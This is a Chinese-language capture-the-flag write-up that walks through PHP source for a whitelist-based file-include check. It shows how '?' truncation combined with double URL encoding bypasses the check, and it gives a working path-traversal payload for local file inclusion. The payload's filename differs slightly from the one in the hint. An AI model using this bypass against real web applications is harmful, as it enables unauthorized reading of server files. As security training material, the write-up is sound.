首先题目提示source.php,访问一下,明显是代码审计。
highlight_file(__FILE__);
class emmm
{
public static function checkFile(&$page)
{
$whitelist = ["source"=>"source.php","hint"=>"hint.php"];
if (! isset($page) || !is_string($page)) {
echo "you can't see it";
return false;
}
if (in_array($page, $whitelist)) {
return true;
}
$_page = mb_substr(
$page,
0,
mb_strpos($page . '?', '?')
);
if (in_array($_page, $whitelist)) {
return true;
}
$_page = urldecode($page);
$_page = mb_substr(
$_page,
0,
mb_strpos($_page . '?', '?')
);
if (in_array($_page, $whitelist)) {
return true;
}
echo "you can't see it";
return false;
}
}
if (! empty($_REQUEST['file'])
&& is_string($_REQUEST['file'])
&& emmm::checkFile($_REQUEST['file'])
) {
include $_REQUEST['file'];
exit;
} else {
echo "<br><img src=\"https://i.loli.net/2018/11/01/5bdb0d93dc794.jpg\" />";
}
?>
先从主函数开始,需要满足的条件是
满足条件之后包含file参数所指定的文件。
首先我们看到checkFile函数声名了一个白名单,并且使用in_array函数,并且in_array函数第三个参数没有设定。首先想到的是in_array的弱类型转换。但看到后面还确实不是。
访问hint.php得到提示flag在ffffllllaaaagggg
先检查file参数是否在白名单中,如果存在则直接通过检验。
if (in_array($page, $whitelist)) {
return true;
}
下面
$_page = mb_substr(
$page,
0,
mb_strpos($page . '?', '?')
);
如果字符串不带?
则直接返回原字符串。如果字符串带?
,则返回?
前的字符串。
继续对$_page
进行检测。没啥说的。之后对$page进行url编码。再截取?
前的字符串。
$_page = urldecode($page);
$_page = mb_substr(
$_page,
0,
mb_strpos($_page . '?', '?')
);
最后判断$_page
是否在白名单中。
$_page = urldecode($page);
$_page = mb_substr(
$_page,
0,
mb_strpos($_page . '?', '?')
);
我们考虑绕过checkFile的限制才能包含我们想要的文件。代码先截取?
前的字符串检测是否在白名单中。因此我们可以构造如下payload:
?file=hint.php?xxx
但如果我们这样构造在取?
前字符的操作后后面我们想要包含的文件就被截断了。所以我们想到用url二次编码。这样在第一次服务器自动解码时paylaod长这样:
?file=hint.php%3fxxx
之后的代码又进行一次urldecode,?
后我们想包含的内容被截断,只剩下hint.php
,符合要求,chechFile函数返回True.而此时$_REQUEST['file']
值仍为hint.php%3fxxx
,可实现目录穿越包含文件。
payload:
?file=hint.php%253f/../../../../../fffflllaaaagggg
最后一直在疑惑
include hint.php%3f/../../../../../../ffffllllaaaagggg;
是否能成功包含文件,在linux上试了一下,确实可以。